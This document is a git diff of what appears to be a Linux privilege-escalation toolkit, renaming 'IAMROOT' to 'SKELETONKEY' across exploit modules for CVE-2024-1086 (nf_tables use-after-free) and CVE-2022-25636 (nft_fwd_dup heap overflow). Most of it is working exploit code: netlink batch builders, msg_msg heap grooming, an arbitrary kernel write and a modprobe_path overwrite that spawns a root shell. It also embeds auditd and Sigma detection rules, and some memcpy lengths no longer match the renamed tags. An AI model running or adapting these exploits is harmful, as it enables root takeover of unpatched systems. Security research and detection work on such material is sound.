* Build the ruleset that fires the bug. Strategy mirrors Notselwyn's
|
||||
* PoC (greatly simplified):
|
||||
* 1. batch begin (NFNL_MSG_BATCH_BEGIN, subsys = NFTABLES)
|
||||
* 2. NFT_MSG_NEWTABLE "iamroot_t" family=inet
|
||||
* 3. NFT_MSG_NEWCHAIN "iamroot_c" inside the table
|
||||
* 4. NFT_MSG_NEWSET "iamroot_s" inside the table, key=verdict,
|
||||
* 2. NFT_MSG_NEWTABLE "skeletonkey_t" family=inet
|
||||
* 3. NFT_MSG_NEWCHAIN "skeletonkey_c" inside the table
|
||||
* 4. NFT_MSG_NEWSET "skeletonkey_s" inside the table, key=verdict,
|
||||
* data=verdict (the pipapo combo that holds the bad verdict),
|
||||
* flags = NFT_SET_ANONYMOUS|NFT_SET_CONSTANT|NFT_SET_INTERVAL
|
||||
* 5. NFT_MSG_NEWSETELEM with a verdict element whose
|
||||
@@ -341,9 +336,9 @@ static void end_msg(uint8_t *buf, size_t *off, size_t msg_start)
|
||||
* cross-cache groom.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_t";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_c";
|
||||
static const char NFT_SET_NAME[] = "iamroot_s";
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_t";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_c";
|
||||
static const char NFT_SET_NAME[] = "skeletonkey_s";
|
||||
|
||||
/* batch begin / end markers */
|
||||
static void put_batch_begin(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
@@ -382,7 +377,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
end_msg(buf, off, at);
|
||||
}
|
||||
|
||||
/* NFT_MSG_NEWTABLE inet "iamroot_t" */
|
||||
/* NFT_MSG_NEWTABLE inet "skeletonkey_t" */
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
{
|
||||
size_t at = *off;
|
||||
@@ -447,8 +442,8 @@ static void put_new_set(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* AND once on data_release → double free.
|
||||
*
|
||||
* We pack:
|
||||
* NFTA_SET_ELEM_LIST_TABLE = "iamroot_t"
|
||||
* NFTA_SET_ELEM_LIST_SET = "iamroot_s"
|
||||
* NFTA_SET_ELEM_LIST_TABLE = "skeletonkey_t"
|
||||
* NFTA_SET_ELEM_LIST_SET = "skeletonkey_s"
|
||||
* NFTA_SET_ELEM_LIST_ELEMENTS { element { key=verdict(DROP),
|
||||
* data=verdict(GOTO chain-id=...) } }
|
||||
*/
|
||||
@@ -618,7 +613,6 @@ static long slabinfo_active(const char *slab)
|
||||
* Factored out so --full-chain can re-fire the trigger between
|
||||
* msg_msg sprays without duplicating the batch-building logic.
|
||||
* ------------------------------------------------------------------ */
|
||||
#ifdef __linux__
|
||||
static size_t build_trigger_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
{
|
||||
(void)cap;
|
||||
@@ -657,7 +651,7 @@ static size_t build_refire_batch(uint8_t *batch, size_t cap, uint32_t *seq)
|
||||
* lts-6.1.x / 6.6.x / 6.7.x un-randomized build (the kernels in the
|
||||
* exploitable range for which Notselwyn's public PoC was validated)
|
||||
* and rely on the shared finisher's sentinel-file post-check to flag
|
||||
* a layout mismatch as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* a layout mismatch as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
struct nft_arb_ctx {
|
||||
@@ -792,26 +786,28 @@ static int nft_arb_write(uintptr_t kaddr, const void *buf, size_t len, void *vct
|
||||
usleep(20 * 1000);
|
||||
return 0;
|
||||
}
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* The exploit body.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Gate 1: re-confirm vulnerability. detect() also checks user_ns. */
|
||||
iamroot_result_t pre = nf_tables_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nf_tables_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nf_tables: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Gate 2: already root? Nothing to escalate. */
|
||||
if (geteuid() == 0) {
|
||||
/* Gate 2: already root? Nothing to escalate. Consult ctx->host first
|
||||
* so unit tests can construct a non-root fingerprint regardless of
|
||||
* the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nf_tables: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -825,7 +821,6 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
/* --- --full-chain path --------------------------------------- *
|
||||
* Resolve offsets BEFORE doing anything destructive so we can
|
||||
* refuse cleanly on hosts where we have no modprobe_path. We run
|
||||
@@ -834,27 +829,27 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
* as the arb-write.
|
||||
*/
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nf_tables");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("nf_tables");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nf_tables: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
@@ -863,11 +858,11 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
int qids[SPRAY_MSGS * 4];
|
||||
for (size_t i = 0; i < sizeof qids / sizeof qids[0]; i++) qids[i] = -1;
|
||||
if (spray_msg_msg(qids, SPRAY_MSGS / 2) < 0) {
|
||||
close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
uint8_t *batch = calloc(1, 16 * 1024);
|
||||
if (!batch) { close(sock); return IAMROOT_EXPLOIT_FAIL; }
|
||||
if (!batch) { close(sock); return SKELETONKEY_EXPLOIT_FAIL; }
|
||||
|
||||
/* Initial trigger batch (NEWTABLE/CHAIN/SET/SETELEM). */
|
||||
uint32_t seq = (uint32_t)time(NULL);
|
||||
@@ -880,12 +875,12 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[-] nf_tables: trigger batch failed\n");
|
||||
drain_spray(qids, SPRAY_MSGS / 2);
|
||||
free(batch); close(sock);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Wire up the arb-write context and hand off to the shared
|
||||
* finisher. The finisher will:
|
||||
* - call nft_arb_write(modprobe_path, "/tmp/iamroot-mp-...", N)
|
||||
* - call nft_arb_write(modprobe_path, "/tmp/skeletonkey-mp-...", N)
|
||||
* which re-fires the trigger and sprays forged pipapo elems
|
||||
* - execve() the trigger binary to invoke modprobe
|
||||
* - poll for the setuid sentinel, and spawn a root shell. */
|
||||
@@ -898,7 +893,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
.qused = SPRAY_MSGS / 2,
|
||||
};
|
||||
|
||||
iamroot_result_t r = iamroot_finisher_modprobe_path(&off,
|
||||
skeletonkey_result_t r = skeletonkey_finisher_modprobe_path(&off,
|
||||
nft_arb_write, &ac, !ctx->no_shell);
|
||||
|
||||
drain_spray(qids, ac.qused);
|
||||
@@ -906,14 +901,13 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
close(sock);
|
||||
return r;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* --- primitive-only path: fork-isolated trigger -------------- *
|
||||
* Fork: child enters userns+netns and fires the bug. If the
|
||||
* kernel panics on KASAN we don't want our parent process to be
|
||||
* the one that takes the hit. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
||||
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
|
||||
if (child == 0) {
|
||||
/* --- CHILD --- */
|
||||
@@ -1040,7 +1034,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
"fired (KASAN/oops can manifest as child signal)\n",
|
||||
WTERMSIG(status));
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
int rc = WEXITSTATUS(status);
|
||||
@@ -1054,22 +1048,44 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
||||
" cross-cache groom + modprobe_path overwrite\n"
|
||||
" from github.com/Notselwyn/CVE-2024-1086.\n");
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (rc >= 20 && rc <= 25) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
|
||||
}
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: nfnetlink + nf_tables UAF + userns is
|
||||
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nf_tables: Linux-only module "
|
||||
"(nft_verdict_init UAF via nfnetlink) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] nf_tables: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
|
||||
static const char nf_tables_auditd[] =
|
||||
@@ -1077,15 +1093,15 @@ static const char nf_tables_auditd[] =
|
||||
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
|
||||
"# This is the canonical exploit shape; legitimate userns + nft use\n"
|
||||
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
|
||||
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
|
||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
|
||||
|
||||
static const char nf_tables_sigma[] =
|
||||
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
|
||||
"id: a72b5e91-iamroot-nf-tables\n"
|
||||
"id: a72b5e91-skeletonkey-nf-tables\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the canonical exploit shape: unprivileged user creating a\n"
|
||||
@@ -1107,7 +1123,7 @@ static const char nf_tables_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||
|
||||
const struct iamroot_module nf_tables_module = {
|
||||
const struct skeletonkey_module nf_tables_module = {
|
||||
.name = "nf_tables",
|
||||
.cve = "CVE-2024-1086",
|
||||
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
|
||||
@@ -1123,7 +1139,7 @@ const struct iamroot_module nf_tables_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_nf_tables(void)
|
||||
void skeletonkey_register_nf_tables(void)
|
||||
{
|
||||
iamroot_register(&nf_tables_module);
|
||||
skeletonkey_register(&nf_tables_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
|
||||
#define NF_TABLES_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module nf_tables_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,28 @@
|
||||
# NOTICE — nft_fwd_dup (CVE-2022-25636)
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2022-25636** — `nft_fwd_dup_netdev_offload` writes
|
||||
`flow->rule->action.entries[ctx->num_actions]` without bounds-checking
|
||||
against the allocated array size → heap OOB write in kmalloc-512.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and disclosed by **Aaron Adams** (NCC Group),
|
||||
February 2022.
|
||||
|
||||
Original writeup:
|
||||
<https://research.nccgroup.com/2022/03/02/exploit-engineering-attacking-the-linux-kernel/>
|
||||
|
||||
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
|
||||
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
|
||||
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
|
||||
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
|
||||
into kmalloc-512 with `SKELETONKEY_FWD` tags.
|
||||
|
||||
`--full-chain` extends with stride-seeded forged action_entry
|
||||
overwrite aimed at modprobe_path via the shared finisher.
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* nft_fwd_dup_cve_2022_25636 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef NFT_FWD_DUP_IAMROOT_MODULES_H
|
||||
#define NFT_FWD_DUP_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module nft_fwd_dup_module;
|
||||
|
||||
#endif
|
||||
+97
-94
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* nft_fwd_dup_cve_2022_25636 — IAMROOT module
|
||||
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module
|
||||
*
|
||||
* Heap OOB write in net/netfilter/nf_dup_netdev.c ::
|
||||
* nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
|
||||
@@ -41,18 +41,23 @@
|
||||
* - nf_tables module loadable
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/offsets.h"
|
||||
#include "../../core/finisher.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdint.h>
|
||||
#include <sched.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
@@ -99,19 +104,6 @@ static const struct kernel_range nft_fwd_dup_range = {
|
||||
* Probes.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static int can_unshare_userns(void)
|
||||
{
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) return -1;
|
||||
if (pid == 0) {
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
|
||||
_exit(1);
|
||||
}
|
||||
int status;
|
||||
waitpid(pid, &status, 0);
|
||||
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
|
||||
}
|
||||
|
||||
static bool nf_tables_loaded(void)
|
||||
{
|
||||
FILE *f = fopen("/proc/modules", "r");
|
||||
@@ -125,61 +117,59 @@ static bool nf_tables_loaded(void)
|
||||
return found;
|
||||
}
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] nft_fwd_dup: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json) fprintf(stderr, "[!] nft_fwd_dup: host fingerprint missing kernel version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* The offload code path only exists from 5.4 onward. Anything
|
||||
* older predates the bug. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 4)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 4, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s predates the bug "
|
||||
"(nft offload hook introduced in 5.4)\n", v.release);
|
||||
"(nft offload hook introduced in 5.4)\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, &v);
|
||||
bool patched = kernel_range_is_patched(&nft_fwd_dup_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
int userns_ok = can_unshare_userns();
|
||||
bool userns_ok = ctx->host->unprivileged_userns_allowed;
|
||||
bool nft_loaded = nf_tables_loaded();
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] nft_fwd_dup: kernel %s is in the vulnerable range\n",
|
||||
v.release);
|
||||
v->release);
|
||||
fprintf(stderr, "[i] nft_fwd_dup: unprivileged user_ns+net_ns clone: %s\n",
|
||||
userns_ok == 1 ? "ALLOWED" :
|
||||
userns_ok == 0 ? "DENIED" :
|
||||
"could not test");
|
||||
userns_ok ? "ALLOWED" : "DENIED");
|
||||
fprintf(stderr, "[i] nft_fwd_dup: nf_tables module currently loaded: %s\n",
|
||||
nft_loaded ? "yes" : "no (will autoload)");
|
||||
}
|
||||
|
||||
if (userns_ok == 0) {
|
||||
if (!userns_ok) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] nft_fwd_dup: kernel vulnerable but user_ns clone "
|
||||
"denied → unprivileged path unreachable\n");
|
||||
fprintf(stderr, "[i] nft_fwd_dup: still patch the kernel — a root\n"
|
||||
" attacker can still hit the OOB.\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] nft_fwd_dup: VULNERABLE — kernel in range AND user_ns "
|
||||
"clone allowed\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
@@ -334,7 +324,7 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* Rule construction — the heart of the trigger.
|
||||
*
|
||||
* Strategy (Aaron Adams shape):
|
||||
* NEWTABLE netdev "iamroot_fdt"
|
||||
* NEWTABLE netdev "skeletonkey_fdt"
|
||||
* NEWCHAIN base chain on ingress, family=netdev,
|
||||
* flags = NFT_CHAIN_HW_OFFLOAD ← critical: this is what
|
||||
* drives nft_flow_rule_create() to call the offload hooks
|
||||
@@ -355,8 +345,8 @@ static void put_batch_end(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
* the adjacent kmalloc-512 chunk. Boom.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static const char NFT_TABLE_NAME[] = "iamroot_fdt";
|
||||
static const char NFT_CHAIN_NAME[] = "iamroot_fdc";
|
||||
static const char NFT_TABLE_NAME[] = "skeletonkey_fdt";
|
||||
static const char NFT_CHAIN_NAME[] = "skeletonkey_fdc";
|
||||
static const char NFT_DUMMY_IF[] = "lo"; /* hookmust be on a real iface */
|
||||
|
||||
static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq)
|
||||
@@ -513,7 +503,7 @@ static int spray_msg_msg_groom(int *queues, int n_queues)
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x46;
|
||||
memset(p.mtext, 0xAA, sizeof p.mtext);
|
||||
memcpy(p.mtext, "IAMROOT_FWD", 11);
|
||||
memcpy(p.mtext, "SKELETONKEY_FWD", 11);
|
||||
*(uint32_t *)(p.mtext + 12) = MSG_TAG_GROOM;
|
||||
|
||||
int created = 0;
|
||||
@@ -585,7 +575,6 @@ static int bring_lo_up(void)
|
||||
return 0;
|
||||
}
|
||||
|
||||
#ifdef __linux__
|
||||
static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
{
|
||||
size_t off = 0;
|
||||
@@ -596,7 +585,6 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
put_batch_end(batch, &off, (*seq)++);
|
||||
return off;
|
||||
}
|
||||
#endif
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* --full-chain arb-write context. The technique:
|
||||
@@ -614,11 +602,9 @@ static size_t build_trigger_batch(uint8_t *batch, uint32_t *seq)
|
||||
* lockdep, KASAN can all shift it). We ship the layout for an
|
||||
* un-randomized x86_64 build in the exploitable range and rely on
|
||||
* the shared finisher's sentinel-file post-check to flag layout
|
||||
* mismatches as IAMROOT_EXPLOIT_FAIL rather than fake success.
|
||||
* mismatches as SKELETONKEY_EXPLOIT_FAIL rather than fake success.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#define SPRAY_QUEUES_ARB 32
|
||||
|
||||
struct fwd_arb_ctx {
|
||||
@@ -646,7 +632,7 @@ static int spray_forged_action_entries(struct fwd_arb_ctx *c,
|
||||
memset(&p, 0, sizeof p);
|
||||
p.mtype = 0x52; /* 'R' */
|
||||
memset(p.mtext, 0x52, sizeof p.mtext);
|
||||
memcpy(p.mtext, "IAMROOT_FWD_A", 13);
|
||||
memcpy(p.mtext, "SKELETONKEY_FWD_A", 13);
|
||||
*(uint32_t *)(p.mtext + 16) = MSG_TAG_ARB;
|
||||
|
||||
/* Plant kaddr at strided 0x10-byte offsets across the first
|
||||
@@ -721,38 +707,32 @@ static int nft_fwd_dup_arb_write(uintptr_t kaddr,
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* ------------------------------------------------------------------
|
||||
* Exploit driver.
|
||||
* ------------------------------------------------------------------ */
|
||||
|
||||
static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t nft_fwd_dup_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Gate 0: explicit user authorization. */
|
||||
if (!ctx->authorized) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: refusing without --i-know\n");
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
/* Gate 1: already root? */
|
||||
if (geteuid() == 0) {
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] nft_fwd_dup: already running as root\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
/* Gate 2: re-detect — kernel patched / userns denied since scan. */
|
||||
iamroot_result_t pre = nft_fwd_dup_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = nft_fwd_dup_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: detect() says not vulnerable; "
|
||||
"refusing\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
#ifndef __linux__
|
||||
fprintf(stderr, "[-] nft_fwd_dup: linux-only exploit; non-linux build\n");
|
||||
(void)ctx;
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
#else
|
||||
if (!ctx->json) {
|
||||
if (ctx->full_chain) {
|
||||
fprintf(stderr, "[*] nft_fwd_dup: --full-chain — trigger + OOB-write "
|
||||
@@ -768,28 +748,28 @@ static iamroot_result_t nft_fwd_dup_exploit(const struct iamroot_ctx *ctx)
|
||||
/* --- --full-chain path: resolve offsets before forking ---------- *
|
||||
* Refuse cleanly if we can't reach modprobe_path. */
|
||||
if (ctx->full_chain) {
|
||||
struct iamroot_kernel_offsets off;
|
||||
iamroot_offsets_resolve(&off);
|
||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
||||
iamroot_finisher_print_offset_help("nft_fwd_dup");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
struct skeletonkey_kernel_offsets off;
|
||||
skeletonkey_offsets_resolve(&off);
|
||||
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||
skeletonkey_finisher_print_offset_help("nft_fwd_dup");
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
iamroot_offsets_print(&off);
|
||||
skeletonkey_offsets_print(&off);
|
||||
|
||||
if (enter_unpriv_namespaces() < 0) {
|
||||
fprintf(stderr, "[-] nft_fwd_dup: userns entry failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
(void)bring_lo_up();
|
||||
|
||||
int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
|
||||
if (sock < 0) {
|
||||
perror("[-] socket(NETLINK_NETFILTER)");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
struct sockaddr_nl src = { .nl_family = AF_NETLINK };
|
||||
if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
|
||||
perror("[-] bind"); close(sock); return IAMROOT_EXPLOIT_FAIL;
|
||||
perror("[-] bind"); close(sock); return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
int rcvbuf = 1 << 20;
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
|
||||
